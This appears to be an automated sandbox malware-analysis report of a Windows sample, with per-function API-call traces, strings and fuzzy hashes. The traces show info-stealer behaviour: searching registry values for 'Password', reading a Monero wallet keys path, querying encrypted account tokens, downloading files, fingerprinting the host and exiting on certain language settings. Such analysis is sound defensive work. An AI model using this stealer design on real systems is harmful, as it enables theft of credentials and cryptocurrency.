Instruction ID: 2043a3887805ea6c56e3178cdbea9a9898fb9ec432e120889b6b1f894c0cfb52
Opcode Fuzzy Hash: 771b9f8fbee469c706167788f983bf5398b85f3009b7fdedb01d081a7709bf8e
Instruction Fuzzy Hash: 115163B1D5011897CB15FB61DD92FED737CAF50304F4041ADB20A62091EE385BDACBAA

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000), ref: 00407459

lstrcat.KERNEL32(00000000,004217FC), ref: 00407606
lstrcat.KERNEL32(00000000,00000000), ref: 00407648
lstrcat.KERNEL32(00000000, : ), ref: 0040765A
lstrcat.KERNEL32(00000000,00000000), ref: 0040768F
lstrcat.KERNEL32(00000000,00421804), ref: 004076A0
lstrcat.KERNEL32(00000000,00000000), ref: 004076D3
lstrcat.KERNEL32(00000000,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0128D838,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
RtlAllocateHeap.NTDLL(00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 004060A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,0128E5E0), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(?,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(?), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: ab3784fe0b46da7b28e8c10d9ea5d0b529e82314f904c2f6f7e079643bbd3618
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: ab3784fe0b46da7b28e8c10d9ea5d0b529e82314f904c2f6f7e079643bbd3618
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004072D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0040733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00407452
HeapFree.KERNEL32(00000000), ref: 00407459
task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

lstrlen.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlen.KERNEL32(00000000), ref: 0040BDA5
lstrlen.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountTokens, xrefs: 0040BB49
AccountId, xrefs: 0040BCC4

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 9e08ee45ebc43fe706c0c8ad989736c962bf943befa7584f1b5ac42d019a3d06
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: 9e08ee45ebc43fe706c0c8ad989736c962bf943befa7584f1b5ac42d019a3d06
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

*, xrefs: 0041678C

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 00404FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00405041
InternetCloseHandle.WININET(?), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 4fd2a467fd6bf3e29bd82fd8903457f740f93c8251a9d339e881c6e44e43cf95
Instruction ID: b99e9efde984867735bda927bde45e9de8b03a596fe48837239c4182617af08d
Opcode Fuzzy Hash: 4fd2a467fd6bf3e29bd82fd8903457f740f93c8251a9d339e881c6e44e43cf95
Instruction Fuzzy Hash: AD3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9E609B7281C7746AC58F99

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.ADVAPI32(00000000,0128DAA8,00000000,000F003F,?,00000400), ref: 004184EC
lstrlen.KERNEL32(?), ref: 00418501
RegQueryValueExA.ADVAPI32(00000000,0128D8B0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.ADVAPI32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 33bb1e120011f456fd0d00ec002cc8eb811bbe50be437bcb910910415e41be60
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 33bb1e120011f456fd0d00ec002cc8eb811bbe50be437bcb910910415e41be60
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
RtlAllocateHeap.NTDLL(00000000), ref: 004176AB
RegOpenKeyExA.ADVAPI32(80000002,0127B7E0,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.ADVAPI32(00000000,0128D940,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
RtlAllocateHeap.NTDLL(00000000), ref: 0041773B
RegOpenKeyExA.ADVAPI32(80000002,0127B7E0,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.ADVAPI32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
